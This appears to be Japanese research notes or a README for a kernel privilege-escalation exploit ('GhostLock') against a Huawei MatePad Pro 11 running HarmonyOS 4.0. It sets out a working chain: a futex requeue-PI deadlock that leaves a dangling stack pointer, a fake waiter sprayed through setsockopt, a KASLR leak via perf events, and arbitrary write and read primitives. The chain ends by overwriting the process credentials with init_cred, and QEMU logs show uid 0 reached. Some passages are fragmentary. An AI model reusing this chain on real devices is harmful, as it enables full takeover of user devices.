
HUAWEI MatePad Pro 11 GOT-W29 における CVE-2026-43499 (GhostLock) の研究
GOT-W29(HarmonyOS 4.0、kernel 4.19.157-perf+)における
CVE-2026-43499(rtmutex/futex-PI スタック UAF、"GhostLock")の権限昇格研究。
FUTEX_CMP_REQUEUE_PI が -EDEADLK を返し、
ロールバック経路が remove_waiter() の current != waiter->task クリーンアップバグを発動させる(本カーネル
kernel/locking/rtmutex.c:1110-1112、上流修正 3bfdc63936dd)。waiter の
pi_blocked_on がダングリング(自身のカーネルスタック E-0x1b0 の rt_waiter を指す)。kernel.patched、GDB/KPM 注入なし):
EDEADLK ダングリング → setsockopt(SOL_IP, MCAST_BLOCK_SOURCE, group_source_req 0x108)
で fake waiter を投入(copy 着地点 E-0x210、waiter を buf+0x60 に置くことでちょうど E-0x1b0 をカバー)
→ sched_setattr で walk を発動 → rb_erase が sysctl_bootid を書き込み、ツールが自己検証
write_ok=1(boot_id 上位 8 バイト = 0xffffff800b412320)。sock_setsockopt の 0x80 フレームを
setsockopt チェーンに算入していた。逆アセンブル + QEMU 実測で __arm64_sys_setsockopt は
level != SOL_SOCKET に対して直接 blr ops->setsockopt し、sock_setsockopt を経由しないことを確認。
修正後の do_ip_setsockopt コピー深度 = 0x210(旧判定 0x290)で、ジオメトリが適合。
除外済みのメカニズム:pselect/select、ptrace、import_iovec、ppoll、SCTP(実測 0x158)。--root 参照)。
HKIP 差異:GOT-W29 のカーネルシンボルテーブルとイメージに hkip_*/
hypervisor フックはなく、全イメージ 97 箇所の hvc 命令も cred/cap/SELinux 経路には存在しない
(KVM/SMCCC/デバッグ転送ドライバのみ)。つまり mrx の hypervisor xid 保護は本機には
おそらく存在せず、実機では通常の root 手順で直接進められる。| 項目 | 値 |
|---|---|
| 型番 | HUAWEI MatePad Pro 11 GOT-W29 |
| SoC | Qualcomm kona (SM8250, Snapdragon 870) |
| システム | HarmonyOS 4.0 (104.0.0.136) |
| カーネル | 4.19.157-perf+(boot.elf 逆アセンブル + firmware/symtab.txt) |
| VA | 39-bit, 4K pages, KASLR on |
adb shell または Shizuku のいずれでも可。pm disable-user com.huawei.powergenie
pm disable-user com.huawei.iaware
メカニズム:PI リング(waiter→target→owner→chain→waiter)を生成し
FUTEX_CMP_REQUEUE_PI を EDEADLK ロールバックに走らせる。ロールバック中に remove_waiter(lock, waiter)
が current(requeue スレッド)で waiter->task ではなくクリーンアップする:
rt_mutex_dequeue は実 waiter ノードを除去するが、waiter の pi_blocked_on はクリアされない
(current->pi_blocked_on = NULL)。これがカーネルスタックの rt_waiter を指すダングリングポインタとなる。
値保持リング(probe リング、実測で安定して -EDEADLK):
FUTEX_LOCK_PI(chain) で chain を保持;FUTEX_WAIT_REQUEUE_PI(wait, 0, target)FUTEX_LOCK_PI(target) で target を保持;FUTEX_LOCK_PI(chain) がブロックFUTEX_CMP_REQUEUE_PI(wait, 1, target) → -EDEADLKWAIT_REQUEUE_PI 2s)、ダングリング pi_blocked_on がスタック上に残る注意:旧「self-own」トリガー、edeadlk_probe variant 11 の -EDEADLK はいずれも
owner==task の早期リターン(rtmutex.c:1035)であり、ダングリングポインタを生成しないため無効。
perf_event_paranoid=-1 下で perf_event_open(PERF_SAMPLE_IP, exclude_user=1)
がカーネルテキストクラスタをサンプリングし、既知のシンボルオフセットに整列させて slide を取得:
samples=27651 kernel_ips=1685 lo=0xffffff948728176c hi=0xffffff9488ebfc7c
KASLR slide=0x147f200000 runtime _stext=0xffffff9487280800
ツール:tools/perf_kaslr.c。
[M] CMP_REQUEUE_PI ret=-1 errno=35 (EDEADLK!)
[W] WAIT_REQUEUE_PI ret=-1 errno=110 (ETIMEDOUT) ← waiter が戻り、pi_blocked_on がダングリング
ツール:tools/edeadlk_probe.c。
rt_mutex_adjust_prio_chain の walk がダングリング pi_blocked_on の位置の fake rt_waiter を読む:
next_lock == waiter->lock(lock = empty_zero_page の独立スロット、下記参照)raw_spin_trylock(&lock->wait_lock) がゼロロックで成功rt_mutex_dequeue → rb_erase 単一左子経路:*(rb_left) = rb_parent_color
→ 書き込み値 0xffffff800b412320(&loggers[0][1])を sysctl_bootid + 8 に書き込むowner-ful ページ / prepare_skb_payload / kernelsnitch は不要。fake rt_mutex
はwalk をまたいで同じスロットを再利用できない:walk 終了時に waiters.root/leftmost がロック内に今回の waiter を指したまま残り、
2 回目の walk が旧ノードを読むと前回解放済みのカーネルスタックをデリファレンスし、
rt_mutex_top_waiter() の BUG_ON(w->lock != lock) を発動する(QEMU 実測:--verify-all
の 2 番目のテストで直接 BUG)。実装では attempt ごとに empty_zero_page + n*0x20
(計 128 スロット、SLIDE_LOCK_STRIDE/SLOTS)を取得し、天然で全ゼロかつ相互汚染なし。
QEMU(kernel.patched、nokaslr、--probe-cycle --verify-all)のツール自己検証出力:
4.483 237 [+] slide write boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=ffffff800b412320 ok=1
4.547 1 [+] slide write test PASSED
6.583 240 [+] slide leaf boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=0 ok=1
6.636 1 [+] slide leaf test PASSED
8.671 243 [+] slide read boot_id raw=100000002401000030d74c0b80ffffff lo=0000012400000010 hi=ffffff800b4cd730 exp_lo=0000012400000010 exp_hi=ffffff800b4cd730 ok=1
8.724 1 [+] slide read test PASSED
10.811 1 [+] slide restore test PASSED
10.811 1 [+] slide verify all PASSED
(各 attempt の requeue=-1/35 trigger=0/0 wait=-1/110 carrier=-1/22 は一貫:
EDEADLK、walk 成功、hrtimer タイムアウト、キャリアコピー成功後に偽アドレスグループにより EINVAL を返す。)
注意:検証ターゲットは boot_id + 8 に書き込む。proc_do_uuid() は bootid[8] == 0 のとき
UUID 全体を再生成するため、下位 8 バイトへの書き込みは検証読み取り自体に上書きされる(QEMU 実測で確認)。
--verify-all 全網羅自己チェック)| 形状 | fake waiter tree の 3 ワード | 効果 |
|---|---|---|
| pointer(rb_erase Case 2:単一左子) | pc=value, right=0, left=target | *(target) = value(64 ビット全量、色ビット保持);副作用 *(value+8) = target、したがって value は読み取り可能かつその +8 が犠牲可能でなければならない |
| leaf(Case 1:子なし) | pc=target-8, right=0, left=0 | *(target) = 0;クリーンな書き込み 1 回のみ(副作用なし)、pc 下位ビット=0 → RED → rebalance は発動しないが、__rb_change_child が *(target-8) を 1 回読む |
random_table[4].data(= &sysctl_bootid、link 0xffffff800b4cd730;.rela.dyn 内の唯一の addend=0xffffff800b7f8b64 の R_AARCH64_RELATIVE で確認)
を書き込みプリミティブでターゲットアドレス A に変更した後、/proc/sys/kernel/random/boot_id を読むと
[A, A+16) が返る。注意:
proc_do_uuid() は ((u8 *)A)[8] == 0 のとき 16 バイト UUID を再生成する(かつ A を書き換える)。
読み取りウィンドウの byte 8 は非ゼロでなければならない;A+8 = .data スロットアドレスを書き込むため、読み戻しの上位半分は常にそのスロットアドレスとなる。
正確に 16 バイト読む必要がある場合はこの位置を避けるべき。--verify-read 自己チェック:.data を boot_id ctl_table エントリ +0x10(maxlen=16, mode=0444 → 定数 0x0000012400000010)に向けて読み戻し、その後 restore ステップで
sysctl_bootid に戻す。
--escalate(デバイス shell 経路と同型、全行程 RT なし):
PERF_COUNT_SW_CPU_CLOCK + PERF_SAMPLE_REGS_INTR
(arm64 33 レジスタ)、トリガーは nanosleep(1µs)(単一タスク時は sched_yield
が __schedule に入らない)。__schedule 内の x27 を取得:mrs x27, sp_el0 は +0x40 だが、
+0x68 の ldr w8, [x27, 0x50]! が x27 を 0x50 押し上げるため減算して戻す必要がある。候補は
64 バイトアラインメントを要求。task+0x990 を読み、"ghostloc" と等しい場合のみ続行
(読み取りの副作用で comm 上位 8 バイトが破壊されるが、プロセス名表示にのみ影響)。task+0x980(real_cred) / task+0x988(cred) ← init_cred
(0xffffff800b42e9c0)、その後本プロセスの getuid()==0。init_cred+8(gid) がターゲットアドレスに上書きされるため、leaf ゼロ書きで
復元;最後に boot_id .data を sysctl_bootid に戻す。QEMU 実測(--no-rt --attempts 4、uid 2000 から開始):
escalate: candidate 1/1 task=ffffffc07a373240 (n=12)
slide read8 boot_id ... lo=636f6c74736f6867 ... ok=1 # "ghostloc" 確認
slide escalate-cred attempt 1 ok=1 ... target=ffffffc07a373bc8
slide child pid=246 uid=0 ... # 以降の子プロセスは root
init: ghostlock_exe exited status=0x0 (SUCCESS) # wrapper 独立終了コードマーカー
失敗モード(flaky):数 attempt に 1 回程度、walk が
rt_mutex_adjust_prio_chain の raw_spin_trylock リトライループでスタックする(fake waiter が
戻り経路で clobber される)。この attempt はタイムアウトする。--attempts N でリトライ(デバイス側も
mrx 同様:成功するまでリトライ)。
--root、端局メカニズムは QEMU でテスト可能)